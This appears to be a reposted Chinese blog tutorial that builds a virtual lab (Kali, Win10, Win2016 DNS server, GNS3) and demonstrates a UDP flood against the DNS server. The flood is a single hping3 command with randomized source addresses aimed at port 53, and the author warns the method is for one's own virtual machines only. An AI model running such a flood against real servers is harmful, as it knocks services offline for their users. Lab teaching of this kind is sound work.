本实验方法一定不要用来攻击公网的服务器，仅能在自己的虚拟机里进行操作！不然可能构成违法行为，大家一定注意！！！！！
实验准备：
Kali虚拟机；
win10虚拟机；
Win 2016 servers虚拟机；
GNS3。
一、实验环境搭建
1、虚拟网络编辑器配置
之后再点击更改设置
之后添加网络，VMnet1和VMnet2。记得一定要将使用本地DHCP服务将IP地址分配给虚拟机这一选项去掉。因为我们之后为了实验，是要手动给他配置IP的，你如果用了本地DHCP服务器，它会自己给你分配IP，这个原理我们之后在DHCP里会讲明白。
2、编辑虚拟机设置
Kali和win10的要将网络适配器改成VMnet1，Window2016的改成VMnet2。
3、给三个主机配置IP地址
打开Kali的终端（root模式，本篇文章都是root，因为root是Kali里的最高权限），输入 vim /etc/network/interfaces。
然后按字母 i ，这样可以更改其中的内容 ，添加IP地址。
auto eth0
iface eth0 inet static
address IP地址
netmask 子网掩码
gateway 网关IP地址
然后按下ESC，再按 : 然后输入wq ，回车保存即可。
然后再输入 systemctl restart networking重启网卡。（这一步很重要）
最后输入ifconfig看IP是否配置成功
我们这里配置成功了，之后我们再去配置Windows2016的。
netsh interface ip set address “Ethernet0”static IP地址 子网掩码 网关IP地址
输入ipconfig查看是否配置成功。
最后我们配置一下win10的IP地址（注意这个首选DNS，先填上，后面说）
ipconfig查看，配置成功。
4、GNS3搭建实验环境
搭建拓扑网络。
这一部分如果有不会搭的，可以看我之前的文章：(1条消息) GNS3安装及实验中应用_打提莫的都是坏人的博客-CSDN博客
中有讲。这里着重说一下交换机和路由器的配置。
这里交换机我们是将路由器改变形状为ethernet_switch这个。
然后交换机的配置代码如下图，conf t进入配置模式后输入no ip routing即可。
路由器的配置代码为：
搭建好后，三个主机互ping一下，都能ping通说明没问题，可以继续做啦（记得关防火墙哦）。
5、在win2016的DNS服务器中建立域名与本机IP的映射关系
在服务器管理器中点击工具，打开DNS服务器。
右键正向查找区域，新建区域。
之后一顿下一步，然后在区域名称这里输入cybersecurity.com
然后一直下一步即可。
之后我们来建立映射关系。双击正向查找区域，右键cybersecuity.com，点击新建主机。
名称处填www，IP地址是本机IP，即192.168.2.1
这也就是为什么我们在Win10中DNS服务器填写的是win2016的IP地址。
6、验证是否可以解析域名
我们在win10中输入域名看是否能打开网页
很明显，成功打开，再用nslookup看是否能解析域名。
解析域名成功，接下来我们看发起UDP攻击后，还能否解析。
二、发起UDP攻击
1、在Kali中输入指令发起攻击
Hping3 --udp --rand-source -p 53 -d 100 --flood 目标服务器的IP地址
在这里的话，即输入hping3 --udp --rand-source -p 53 -d 100 --flood 192.168.2.1
wireshark抓取1网段和2网段的报文分析。
2、查看攻击后域名能否解析
此时发现在win10中已无法解析域名，UDP Flood攻击成功。
该实验结束。文章来源：https://www.toymoban.com/news/detail-400835.html
大家一定不要作死去攻击公网，作者在开篇已强调只能在虚拟机中进行，如果读者去进行不法行为，引起的后果自行承担，与作者无关。文章来源地址https://www.toymoban.com/news/detail-400835.html
到了这里，关于UDP Flood攻击实验的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！
